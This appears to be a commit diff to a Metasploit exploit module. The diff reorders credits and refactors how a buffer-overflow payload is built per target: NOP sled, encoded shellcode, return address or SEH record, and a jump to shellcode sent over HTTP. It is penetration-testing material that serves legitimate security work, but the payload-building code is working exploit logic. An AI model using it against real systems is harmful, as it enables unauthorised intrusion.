@@ -23,8 +23,8 @@ def initialize(info = {})
23
23
'Author' =>
24
24
[
25
25
'vportal' , # Vulnerability discovery and PoC
26
- 'Gabor Seljan' , # Metasploit module
27
26
'Ahmad Mahfouz' , # Vulnerability discovery and PoC
27
+ 'Gabor Seljan' , # Metasploit module
28
28
'Jacob Robles' # Metasploit module
29
29
] ,
30
30
'References' =>
@@ -127,21 +127,23 @@ def exploit
127
127
print_status ( "Selected Target: #{ mytarget . name } " )
128
128
end
129
129
130
- if !( mytarget == targets [ 3 ] )
130
+ case mytarget
131
+ when targets [ 1 ] , targets [ 2 ]
131
132
sploit = make_nops ( 21 )
132
133
sploit << payload . encoded
133
134
sploit << rand_text_alpha ( mytarget [ 'Offset' ] - payload . encoded . length )
134
135
sploit << [ mytarget . ret ] . pack ( 'V' )
135
136
sploit << rand_text_alpha ( 2500 )
136
- else
137
+ when targets [ 3 ]
137
138
seh = generate_seh_record ( mytarget . ret )
138
139
sploit = payload . encoded
139
140
sploit << rand_text_alpha ( mytarget [ 'Offset' ] - payload . encoded . length )
140
141
sploit [ sploit . length , seh . length ] = seh
141
142
sploit << make_nops ( 10 )
142
- sploit << " \xE9 \x25 \xBF \xFF \xFF " # JMP to ShellCode
143
+ sploit << Rex :: Arch :: X86 . jmp ( 0xffffbf25 ) # JMP to ShellCode
143
144
sploit << rand_text_alpha ( 5000 - sploit . length )
144
-
145
+ else
146
+ fail_with ( Failure ::NoTarget , 'No matching target' )
145
147
end
146
148
147
149
send_request_cgi (
0 commit comments